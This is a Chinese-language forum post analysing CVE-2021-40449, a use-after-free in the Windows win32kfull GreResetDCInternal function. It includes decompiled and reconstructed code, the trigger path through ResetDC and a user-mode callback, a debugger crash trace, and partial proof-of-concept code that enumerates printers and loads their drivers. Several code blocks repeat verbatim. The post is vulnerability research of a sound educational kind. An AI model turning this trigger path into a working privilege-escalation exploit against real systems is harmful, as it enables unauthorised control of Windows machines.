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[原创]CVE-2021-40449(UAF)学习
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发表于: 2021-10-23 08:57
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内核模块win32kfull.sys中存在UAF漏洞，利用此漏洞可实现本地提权
官方通报影响的windows版本:
Windows Server, version 2004/20H2(Server Core Installation)
Windows 10 Version 1607/1809/1909/2004/20H2/21H1
Windows 7 for 32/64-bit Systems Service Pack 1
Windows Server 2008/2012/2016/2019/2022
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows 8.1 for 32/64-bit systems
Windows RT 8.1
Windows版本：win10 1809 17763.107
UAF漏洞存在于win32kfull!GreResetDCInternal函数中，函数的反汇编结果如下所示：
GreResetDCInternal函数首先根据oldHDC句柄创建一个DCOBJ对象，紧接着调用hdcOpenDCW函数创建一个newHDC句柄，hdcOpenDCW内部会返回到用户态并调用回调函数DrvEnablePDEV，正常情况下不会出现什么问题，当恶意攻击者劫持回调函数，在回调函数内将原来的oldDCOBJ对象释放，当返回到内核态时，缺少安全性校验，根据newHDC创建的newDCOBJ依然从oldDCOBJ对象中获取函数指针以及参数，因此造成该UAF漏洞的产生，一旦vuln_ptr为垃圾数据时，调用vuln_ptr就会触发BSOD
如果你觉得IDA中的反汇编代码不够直观，可以参考@ly4k整理的相关的源码
菜鸟初次分析，参考@ly4k的POC为主
漏洞验证关键的两点：
抵达漏洞的路径：从漏洞触发点往回分析，需要调用到win32kfull!GreResetDCInternal函数，而win32kfull!GreResetDCInternal函数位于win32kfull!NtGdiResetDC函数内部，win32kfull!NtGdiResetDC恰巧为ResetDC对应的内核态函数，因此抵达漏洞出发点的路径为
触发漏洞的环境：回调函数内释放原来的DCOBJ
漏洞验证可以分为以下步骤：
回调函数内值得思考的问题是如何释放DC呢？
我查阅两个明显的释放DC的API：ReleaseDC和DeleteDC，发现DeleteDC是符合当下情形的，因为DeleteDC对应的是CreateDC，而ReleaseDC对应的是GetWindowDC或者GetDC
然而经过我的尝试，DC并没有得到释放，得到一个错误号170：请求的资源在使用中。我想应该是DC的锁没有释放，那为什么ResetDC能够将DC的锁解除并释放DC呢？
GreResetDCInternal函数后面部分完成了DC对象解锁以及旧DC的释放
栈帧回溯：hdcOpenDCW > KeUserModeCallback
漏洞触发位置汇编代码：rax即为vuln_ptr
此处CFG并没有实现，只是一条跳转指令
当执行流程第二次来到call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff826062b48090)]`时
此时vuln_ptr已经为0x6161616161616161，继续执行触发BSOD
__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2, int *a3, __int64 a4, __int64 a5)
{ HDC v5; // r14
int *v6; // r13
int v7; // r15d
HDC v8; // r12
unsigned int v9; // edi
DCOBJ *v10; // rbx
__int64 PDEVOBJ; // rbx
__int64 v12; // rax
DCOBJ *v13; // rcx
int v14; // r13d
BOOL v15; // r14d
int v16; // esi
HDC newHDC; // rax
DCOBJ *v18; // rdx
void (__fastcall *vuln_ptr)(_QWORD, _QWORD); // rax
__int64 v21; // rax
__int64 v22; // rcx
bool v23; // zf
int v24; // [rsp+28h] [rbp-51h]
__int64 v25; // [rsp+58h] [rbp-21h] BYREF
DCOBJ *oldDCOBJ[2]; // [rsp+60h] [rbp-19h] BYREF
DCOBJ *newDCOBJ[11]; // [rsp+70h] [rbp-9h] BYREF
v5 = oldHDC;
v6 = a3;
v7 = 0;
v8 = 0i64;
v9 = 0;
DCOBJ::DCOBJ((DCOBJ *)oldDCOBJ, oldHDC); // create a DCOBJ from HDC
v10 = oldDCOBJ[0];
if ( !oldDCOBJ[0] )
{
EngSetLastError(6u);
v13 = oldDCOBJ[0];
LABEL_38: v16 = v25;
goto LABEL_19;
}
v7 = *((_DWORD *)oldDCOBJ[0] + 9) & 0x800; // offset 0x24: flag
if ( v7 )
{
DC::bMakeInfoDC(oldDCOBJ[0], 0);
v10 = oldDCOBJ[0];
}
PDEVOBJ = *((_QWORD *)v10 + 6); // offset 0x30: hdev
v12 = *(_QWORD *)(PDEVOBJ + 0x6B0);
*(_QWORD *)(PDEVOBJ + 0x6B0) = 0i64;
v13 = oldDCOBJ[0];
v25 = v12;
if ( (*((_DWORD *)oldDCOBJ[0] + 9) & 0x100) != 0
|| *((_DWORD *)oldDCOBJ[0] + 8) == 1
|| (*(_DWORD *)(PDEVOBJ + 40) & 0x80u) == 0 )
{
goto LABEL_38;
}
v14 = *((_DWORD *)oldDCOBJ[0] + 0x1B);
v15 = *((_QWORD *)oldDCOBJ[0] + 0x3E) != 0i64;
v16 = v15;
if ( XDCOBJ::bCleanDC((XDCOBJ *)oldDCOBJ, 0) )
{
if ( *(_DWORD *)(PDEVOBJ + 8) == 1 )
{
// create a new HDC and back to user mode
newHDC = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(PDEVOBJ + 2560), v25, a4, a5, 0);
// miss some validation of oldHDC, maybe the oldHDC has been released
v8 = newHDC;
if ( newHDC )
{
*(_QWORD *)(PDEVOBJ + 0xA00) = 0i64;
// create a newDCOBJ from newHDC
DCOBJ::DCOBJ((DCOBJ *)newDCOBJ, newHDC);
v18 = newDCOBJ[0];
if ( newDCOBJ[0] )
{
if ( v14 > 0 )
{
*((_DWORD *)newDCOBJ[0] + 27) = *((_DWORD *)newDCOBJ[0] + 26);
v18 = newDCOBJ[0];
}
// fetch data from oldDCOBJ, maybe the oldDCOBJ has been released
*((_QWORD *)v18 + 0x101) = *((_QWORD *)oldDCOBJ[0] + 0x101);
*((_QWORD *)oldDCOBJ[0] + 0x101) = 0i64;
*((_QWORD *)newDCOBJ[0] + 0x102) = *((_QWORD *)oldDCOBJ[0] + 258);
*((_QWORD *)oldDCOBJ[0] + 0x102) = 0i64;
// vuln_ptr can be a dangling function pointer
vuln_ptr = *(void (__fastcall **)(_QWORD, _QWORD))(PDEVOBJ + 0xAB8);
if ( vuln_ptr )
vuln_ptr(*(_QWORD *)(PDEVOBJ + 0x708), *(_QWORD *)(*((_QWORD *)newDCOBJ[0] + 6) + 0x708i64));
//...
}__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2, int *a3, __int64 a4, __int64 a5)
{ HDC v5; // r14
int *v6; // r13
int v7; // r15d
HDC v8; // r12
unsigned int v9; // edi
DCOBJ *v10; // rbx
__int64 PDEVOBJ; // rbx
__int64 v12; // rax
DCOBJ *v13; // rcx
int v14; // r13d
BOOL v15; // r14d
int v16; // esi
HDC newHDC; // rax
DCOBJ *v18; // rdx
void (__fastcall *vuln_ptr)(_QWORD, _QWORD); // rax
__int64 v21; // rax
__int64 v22; // rcx
bool v23; // zf
int v24; // [rsp+28h] [rbp-51h]
__int64 v25; // [rsp+58h] [rbp-21h] BYREF
DCOBJ *oldDCOBJ[2]; // [rsp+60h] [rbp-19h] BYREF
DCOBJ *newDCOBJ[11]; // [rsp+70h] [rbp-9h] BYREF
v5 = oldHDC;
v6 = a3;
v7 = 0;
v8 = 0i64;
v9 = 0;
DCOBJ::DCOBJ((DCOBJ *)oldDCOBJ, oldHDC); // create a DCOBJ from HDC
v10 = oldDCOBJ[0];
if ( !oldDCOBJ[0] )
{
EngSetLastError(6u);
v13 = oldDCOBJ[0];
LABEL_38: v16 = v25;
goto LABEL_19;
}
v7 = *((_DWORD *)oldDCOBJ[0] + 9) & 0x800; // offset 0x24: flag
if ( v7 )
{
DC::bMakeInfoDC(oldDCOBJ[0], 0);
v10 = oldDCOBJ[0];
}
PDEVOBJ = *((_QWORD *)v10 + 6); // offset 0x30: hdev
v12 = *(_QWORD *)(PDEVOBJ + 0x6B0);
*(_QWORD *)(PDEVOBJ + 0x6B0) = 0i64;
v13 = oldDCOBJ[0];
v25 = v12;
if ( (*((_DWORD *)oldDCOBJ[0] + 9) & 0x100) != 0
|| *((_DWORD *)oldDCOBJ[0] + 8) == 1
|| (*(_DWORD *)(PDEVOBJ + 40) & 0x80u) == 0 )
{
goto LABEL_38;
}
v14 = *((_DWORD *)oldDCOBJ[0] + 0x1B);
v15 = *((_QWORD *)oldDCOBJ[0] + 0x3E) != 0i64;
v16 = v15;
if ( XDCOBJ::bCleanDC((XDCOBJ *)oldDCOBJ, 0) )
{
if ( *(_DWORD *)(PDEVOBJ + 8) == 1 )
{
// create a new HDC and back to user mode
newHDC = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(PDEVOBJ + 2560), v25, a4, a5, 0);
// miss some validation of oldHDC, maybe the oldHDC has been released
v8 = newHDC;
if ( newHDC )
{
*(_QWORD *)(PDEVOBJ + 0xA00) = 0i64;
// create a newDCOBJ from newHDC
DCOBJ::DCOBJ((DCOBJ *)newDCOBJ, newHDC);
v18 = newDCOBJ[0];
if ( newDCOBJ[0] )
{
if ( v14 > 0 )
{
*((_DWORD *)newDCOBJ[0] + 27) = *((_DWORD *)newDCOBJ[0] + 26);
v18 = newDCOBJ[0];
}
// fetch data from oldDCOBJ, maybe the oldDCOBJ has been released
*((_QWORD *)v18 + 0x101) = *((_QWORD *)oldDCOBJ[0] + 0x101);
*((_QWORD *)oldDCOBJ[0] + 0x101) = 0i64;
*((_QWORD *)newDCOBJ[0] + 0x102) = *((_QWORD *)oldDCOBJ[0] + 258);
*((_QWORD *)oldDCOBJ[0] + 0x102) = 0i64;
// vuln_ptr can be a dangling function pointer
vuln_ptr = *(void (__fastcall **)(_QWORD, _QWORD))(PDEVOBJ + 0xAB8);
if ( vuln_ptr )
vuln_ptr(*(_QWORD *)(PDEVOBJ + 0x708), *(_QWORD *)(*((_QWORD *)newDCOBJ[0] + 6) + 0x708i64));
//...
}BOOL GreResetDCInternal(
HDC hdc,
DEVMODEW *pdmw,
BOOL *pbBanding,
DRIVER_INFO_2W *pDriverInfo2,
PVOID ppUMdhpdev)
{ // [...]
HDC hdcNew;
{
// Create DCOBJ from HDC
DCOBJ dco(hdc);
if (!dco.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Create DEVOBJ from `dco`
PDEVOBJ po(dco.hdev());
// [...]
// Create the new DC
// VULN: Can result in a usermode callback that destroys old DC, which
// invalidates `dco` and `po`
hdcNew = hdcOpenDCW(L"",
pdmw,
DCTYPE_DIRECT,
po.hSpooler,
prton,
pDriverInfo2,
ppUMdhpdev);
if (hdcNew)
{
po->hSpooler = NULL;
DCOBJ dcoNew(hdcNew);
if (!dcoNew.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Transfer any remote fonts
dcoNew->pPFFList = dco->pPFFList;
dco->pPFFList = NULL;
// Transfer any color transform
dcoNew->pCXFList = dco->pCXFList;
dco->pCXFList = NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
// Let the driver know
// VULN: Method is taken from old (possibly destroyed) `po`
PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
if (rfn != NULL)
{
(*rfn)(po->dhpdev, poNew->dhpdev);
}
// [...]
}
}
}
}
// Destroy old DC
// [...]
}BOOL GreResetDCInternal(
HDC hdc,
DEVMODEW *pdmw,
BOOL *pbBanding,
DRIVER_INFO_2W *pDriverInfo2,
PVOID ppUMdhpdev)
{ // [...]
HDC hdcNew;
{
// Create DCOBJ from HDC
DCOBJ dco(hdc);
if (!dco.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Create DEVOBJ from `dco`
PDEVOBJ po(dco.hdev());
// [...]
// Create the new DC
// VULN: Can result in a usermode callback that destroys old DC, which
// invalidates `dco` and `po`
hdcNew = hdcOpenDCW(L"",
pdmw,
DCTYPE_DIRECT,
po.hSpooler,
prton,
pDriverInfo2,
ppUMdhpdev);
if (hdcNew)
{
po->hSpooler = NULL;
DCOBJ dcoNew(hdcNew);
if (!dcoNew.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Transfer any remote fonts
dcoNew->pPFFList = dco->pPFFList;
dco->pPFFList = NULL;
// Transfer any color transform
dcoNew->pCXFList = dco->pCXFList;
dco->pCXFList = NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
// Let the driver know
// VULN: Method is taken from old (possibly destroyed) `po`
PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
if (rfn != NULL)
{
(*rfn)(po->dhpdev, poNew->dhpdev);
}
// [...]
}
}
}
}
// Destroy old DC
// [...]
}ResetDC -> win32kfull!NtGdiResetDC -> win32kfull!GreResetDCInternal -> 漏洞点
ResetDC -> win32kfull!NtGdiResetDC -> win32kfull!GreResetDCInternal -> 漏洞点
// get the buffer size to store the PRINTER_INFO_4 structures
DWORD needBytes = 0, returnCount = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, nullptr, 0, &needBytes, &returnCount);
if (!needBytes) {
ErrorOutput("[-] Failed to get buffer size for printer structures\n");
exit(1);
}// allocate a buffer to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray = (PPRINTER_INFO_4A)malloc(needBytes);
if (!pPrinterArray) {
ErrorOutput("[-] Failed to allocate a buffer for printer structures\n");
exit(1);
}if (!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
ErrorOutput("[-] Failed to enum printers\n");
exit(1);
}// get the buffer size to store the PRINTER_INFO_4 structures
DWORD needBytes = 0, returnCount = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, nullptr, 0, &needBytes, &returnCount);
if (!needBytes) {
ErrorOutput("[-] Failed to get buffer size for printer structures\n");
exit(1);
}// allocate a buffer to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray = (PPRINTER_INFO_4A)malloc(needBytes);
if (!pPrinterArray) {
ErrorOutput("[-] Failed to allocate a buffer for printer structures\n");
exit(1);
}if (!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
ErrorOutput("[-] Failed to enum printers\n");
exit(1);
}PRINTER_INFO_4A pPrinterInfo = { 0 };
// enum printer structure array
for (DWORD idx = 0; idx < returnCount; ++idx)
{ pPrinterInfo = pPrinterArray[idx];
if (!pPrinterInfo.pPrinterName)
continue;
printf("[+] Try the printer: %s\n", pPrinterInfo.pPrinterName);
// open the printer
HANDLE hPrinter;
if (!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
{
ErrorOutput("[-] Failed to open the printer\n");
continue;
}
printf("[+] Open the driver: %s\n", pPrinterInfo.pPrinterName);
// get the driver path
needBytes = 0;
GetPrinterDriverA(hPrinter, nullptr, 2, nullptr, 0, &needBytes);
if (!needBytes)
{
ErrorOutput("[-] Failed to get buffer size for printer driver structures\n");
continue;
}
PDRIVER_INFO_2A pDriverArray = (PDRIVER_INFO_2A)malloc(needBytes);
if (!pDriverArray)
ErrorOutput("[-] Failed to allocate a buffer for driver structures\n");
if (!GetPrinterDriverA(hPrinter, nullptr, 2, (LPBYTE)pDriverArray, needBytes, &needBytes))
{
ErrorOutput("[-] Failed to enum the printer drivers\n");
continue;
}
printf("[+] Driver path: %s\n", pDriverArray->pDriverPath);
// load the driver to memory with the absolute path
HMODULE hDriver = LoadLibraryExA(pDriverArray->pDriverPath, nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
if (!hDriver)
{
ErrorOutput("[-] Failed to load the driver to memory\n");
continue;
}
//...
}PRINTER_INFO_4A pPrinterInfo = { 0 };
// enum printer structure array
for (DWORD idx = 0; idx < returnCount; ++idx)
{ pPrinterInfo = pPrinterArray[idx];
if (!pPrinterInfo.pPrinterName)
continue;
printf("[+] Try the printer: %s\n", pPrinterInfo.pPrinterName);
// open the printer
HANDLE hPrinter;
if (!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
{
ErrorOutput("[-] Failed to open the printer\n");
continue;
}
printf("[+] Open the driver: %s\n", pPrinterInfo.pPrinterName);
// get the driver path
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最后于 2022-2-9 19:35
被Jimpp编辑
，原因：
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可以蓝屏？不能提权成功吧？ |
